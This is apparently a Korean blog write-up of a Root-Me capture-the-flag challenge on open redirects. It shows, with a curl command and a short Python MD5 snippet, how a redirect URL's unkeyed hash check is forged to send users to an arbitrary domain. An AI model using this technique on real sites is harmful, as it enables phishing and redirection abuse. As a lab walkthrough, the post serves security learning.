-
[Open Redirect] HTTP - Open redirectHacking/CTF 문제 풀이 2025. 7. 3. 20:30728x90반응형

Problem
웹 페이지에 표시된 도메인이 아닌 다른 도메인으로 리디렉션하는 방법을 찾으세요.
Working through problems
1. 페이지 구조 확인
우선 페이지가 어떻게 구성되어 있는지 개발자 도구(F12)를 통해 구조를 확인했습니다.
<body> <link rel="stylesheet" property="stylesheet" id="s" type="text/css" href="/template/s.css" media="all"> <iframe id="iframe" src="https://www.root-me.org/?page=externe_header"></iframe> <h1>Social Networks</h1> <a href="?url=https://facebook.com&h=a023cfbf5f1c39bdf8407f28b60cd134">facebook</a> <a href="?url=https://twitter.com&h=be8b09f7f1f66235a9c91986952483f0">twitter</a> <a href="?url=https://slack.com&h=e52dc719664ead63be3d5066c135b6da">slack</a> </body>눈에 띄는 부분은 링크들이 모두 ?url=...&h=... 형태로 되어 있다는 점입니다.
url은 리디렉션할 대상 URL, h는 아마도 해시(hash) 값으로 추정됩니다.2. 임의의 URL로 테스트
url 파라미터만 바꾸면 리디렉션이 가능하지 않을까 싶어 다음과 같이 시도해봤습니다.
$ curl "http://challenge01.root-me.org/web-serveur/ch52/?url=https://naver.com&h=a023cfbf5f1c39bdf8407f28b60cd134"결과는 다음과 같았습니다.
<p id='error'>Incorrect hash!</p>결과를 보니 h 값은 단순히 아무 값이나 넣는 것이 아니라 특정 규칙이 있는 것임을 알 수 있습니다.
3. h는 해시
[Hash Algorithm] 해시 길이 정리 (MD5, SHA-1, SHA-256, SHA-512)
해킹/보안 공부나 인증 시스템 구현 시 자주 접하게 되는 해시 알고리즘의 해시 문자열(16진수)의 길이만 보고 어떤 알고리즘이 사용되었는지 추측할 수 있기 때문에 아래 내용을 정리해두었습
jangto.tistory.com
32자리의 16진수(hex) 문자열을 보고 MD5 해시일 가능성이 높다고 판단했습니다.
(MD5는 128비트 해시이며 16진수로 표현하면 정확히 32자입니다.)4. 직접 해시 값 계산
문자열을 MD5로 해싱해서 h 값이 어떻게 생성되는지 확인하기 위해 Python 코드를 작성했습니다.
import hashlib def md5_hash(text: str) -> str: # UTF-8로 인코딩하고 -> MD5 해시 계산 -> 16진수 문자열로 반환 return hashlib.md5(text.encode('utf-8')).hexdigest() url = "https://facebook.com" hashed = md5_hash(url) print(hashed)결과는 다음과 같았습니다.
a023cfbf5f1c39bdf8407f28b60cd134페이지 내 링크와 완벽히 일치하기 때문에 h 값은 url 파라미터의 값을 그대로 MD5 해싱한 결과라는 사실을 확인했습니다.
5. 새로운 도메인 삽입 테스트
도메인 https://google.com을 리디렉션 대상으로 삽입해보고 동일한 방식으로 h 값을 생성한 후 요청을 보냅니다.
$ curl "http://challenge01.root-me.org/web-serveur/ch52/?url=https://google.com&h=99999ebcfdb78df077ad2727fd00969f"그랬더니 결과로 정답이 나왔습니다.
6. 결과 확인
<p>Well done, the flag is 비밀번호</p>728x90반응형'Hacking > CTF 문제 풀이' 카테고리의 다른 글
Weak password (0) 2025.07.07 [Header] HTTP - User-agent (0) 2025.07.07 [X-Forwarded-For] HTTP - IP Restriction Bypass (0) 2025.07.03 [A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Error Based SQL Injection (1) 2025.06.18 [A03:2021 - Injection] SQL Injection을 이용한 사용자 계정 정보 탈취 - Blind SQL Injection, General SQL Injection (0) 2025.06.17